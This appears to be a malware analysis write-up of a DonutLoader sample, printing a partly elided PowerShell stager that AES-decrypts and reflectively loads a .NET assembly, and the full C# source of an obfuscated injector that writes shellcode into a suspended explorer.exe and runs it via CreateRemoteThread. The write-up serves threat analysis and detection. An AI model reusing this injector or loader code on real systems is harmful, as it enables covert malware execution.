Warning!

This analysis will be only about DonutLoader dropping files and injecting shellcode in a new process. Shellcode itself is poorly written and doesn't even work. (Gives User Exception)

What is DonutLoader?

Donut is an open-source in-memory injector/loader, designed for execution of VBScript, JScript, EXE, DLL files and dotNET assemblies. It was used during attacks against U.S. organisations according to Threat Hunter Team (Symantec) and U.S. Defence contractors (Unit42).
Github: https://github.com/TheWover/donut -Malpedia

Malware Flow

1|700

Start.ps1

It is non-obfuscated simple payload that use AES to decrypt bytes and uses fileless method to Invoke Entry Point of this .Net 32 Assembly:

    $pKNLDFLYeXBldjWOniTYbbNwDmhkEXl = [System.Security.Cryptography.AesManaged]::Create()
    $pKNLDFLYeXBldjWOniTYbbNwDmhkEXl.Mode = [System.Security.Cryptography.CipherMode]::CFB
    $pKNLDFLYeXBldjWOniTYbbNwDmhkEXl.Padding = [System.Security.Cryptography.PaddingMode]::ISO10126
    $pKNLDFLYeXBldjWOniTYbbNwDmhkEXl.Key = ...
    $pKNLDFLYeXBldjWOniTYbbNwDmhkEXl.IV  = ...
    ...
    ...
    ...
    $mkGojQZagZNcgSCKvDLTRrKszMXjRXS = $CXXPHgQDJiHqCYomtbKDxMBPoWqhryB.ToArray()
    $DSNsZjfCuypSOuSoVnLNXZWRUAnOwTQ = [System.Reflection.Assembly]::Load(...)
    $ijgkjszDBpbruCzVYHybVgjVDWVxyVr = $DSNsZjfCuypSOuSoVnLNXZWRUAnOwTQ.EntryPoint
    $ijgkjszDBpbruCzVYHybVgjVDWVxyVr.Invoke($null, @())

Stub.exe

It has some simple obfuscations which can be passed manually and some common sense. Uses AES again for decryption of strings, which you can just put breakpoint at "return" to get values.

But the main purpose is, it has source code of C# file that will be used for process injection:

AzeroPum

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;

namespace AzeroPum
{
    public static class AzeroKick
    {
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool CreateProcess(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAllocEx(
            IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            uint flAllocationType,
            uint flProtect
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(
            IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            uint nSize,
            out IntPtr lpNumberOfBytesWritten
        );

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(
            IntPtr hProcess,
            IntPtr lpThreadAttributes,
            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr lpParameter,
            uint dwCreationFlags,
            out IntPtr lpThreadId
        );

        [DllImport("kernel32.dll")]
        static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

        [DllImport("kernel32.dll")]
        static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);

        [DllImport("kernel32.dll")]
        static extern bool CloseHandle(IntPtr hObject);

        [StructLayout(LayoutKind.Sequential)]
        struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        struct STARTUPINFO
        {
            public uint cb;
            public IntPtr lpReserved;
            public IntPtr lpDesktop;
            public IntPtr lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public ushort wShowWindow;
            public ushort cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        public static void AzeroFloid(string path, byte[] bytes)
        {
            int controlVar = 7;
            Random rng = new Random();

            // Control flow obfuscation loop
            while (controlVar > 0)
            {
                switch (controlVar)
                {
                    case 7:
                        if ((DateTime.Now.Ticks % 2) == 0)
                        {
                            controlVar = 4;
                        }
                        else
                        {
                            controlVar = 5;
                        }
                        Thread.Sleep(rng.Next(20, 50));
                        break;

                    case 4:
                        // Note: rng.Next(0, 100) will never be > 150, so always goes to case 3
                        if (rng.Next(0, 100) > 150)
                        {
                            controlVar = 6;
                        }
                        else
                        {
                            controlVar = 3;
                        }
                        Thread.Sleep(rng.Next(10, 30));
                        break;

                    case 5:
                        DummyOperation();
                        controlVar = 3;
                        break;

                    case 3:
                        controlVar = 2;
                        break;

                    case 2:
                        controlVar = 1;
                        break;

                    case 1:
                        controlVar = 0;
                        break;

                    default:
                        controlVar--;
                        break;
                }
            }

            // Initialize process startup info
            STARTUPINFO si = new STARTUPINFO();
            si.cb = (uint)Marshal.SizeOf(typeof(STARTUPINFO));
            PROCESS_INFORMATION pi;

            // Create suspended process (flag 0x4 = CREATE_SUSPENDED)
            bool created = !(!CreateProcess(null, path, IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi));
            if (!created || pi.hProcess == IntPtr.Zero)
            {
                for (int i = 0; i < 3; i++)
                {
                    Thread.Sleep(10);
                }
                return;
            }

            // Allocate memory in target process (0x3000 = MEM_COMMIT | MEM_RESERVE, 0x40 = PAGE_EXECUTE_READWRITE)
            IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)bytes.Length, 0x3000, 0x40);
            if (addr == IntPtr.Zero)
            {
                CloseHandles(pi);
                return;
            }

            // Write payload bytes to allocated memory
            IntPtr written;
            if (!WriteProcessMemory(pi.hProcess, addr, bytes, (uint)bytes.Length, out written) || written == IntPtr.Zero)
            {
                CloseHandles(pi);
                return;
            }

            // Create remote thread to execute the payload
            IntPtr threadId;
            IntPtr thread = CreateRemoteThread(pi.hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, out threadId);
            if (thread == IntPtr.Zero)
            {
                CloseHandles(pi);
                return;
            }

            // Wait for thread completion (0xFFFFFFFF = INFINITE)
            WaitForSingleObject(thread, 0xFFFFFFFF);

            // Terminate the process
            bool terminated = TerminateProcess(pi.hProcess, 0);
            if (!terminated)
            {
                Thread.Sleep(50);
                TerminateProcess(pi.hProcess, 0);
            }

            // Clean up handles
            CloseHandle(thread);
            CloseHandles(pi);
        }

        private static void CloseHandles(PROCESS_INFORMATION pi)
        {
            CloseHandle(pi.hThread);
            CloseHandle(pi.hProcess);
        }

        private static void DummyOperation()
        {
            int x = 0;
            for (int i = 0; i < 5; i++)
            {
                x ^= i;
                x += 2;
            }
            if (x % 2 == 0)
            {
                x /= 2;
            }
        }
    }
}


// strings decoded System.dll, System.Core.dll, .AzeroPum.AzeroKick, AzeroFloid

// Invoked using C:\Windows\SysWOW64\explorer.exe and a bunch of bytes I save these bytes to shellcode.bin

I added comments under but other comments were already existing in payload. To make it simple, it just creates explorer.exe process, allocates memory, writes bytes, creates thread starting from this address. I wanted to unpack shellcode dynamically but shellcode is poorly written and gives User Exception at a point. At the end I could only find 1 new sample related to DonutLoader (Stub.exe), which I will have link below for anyone that needs to see it.

IOC

Stub.exe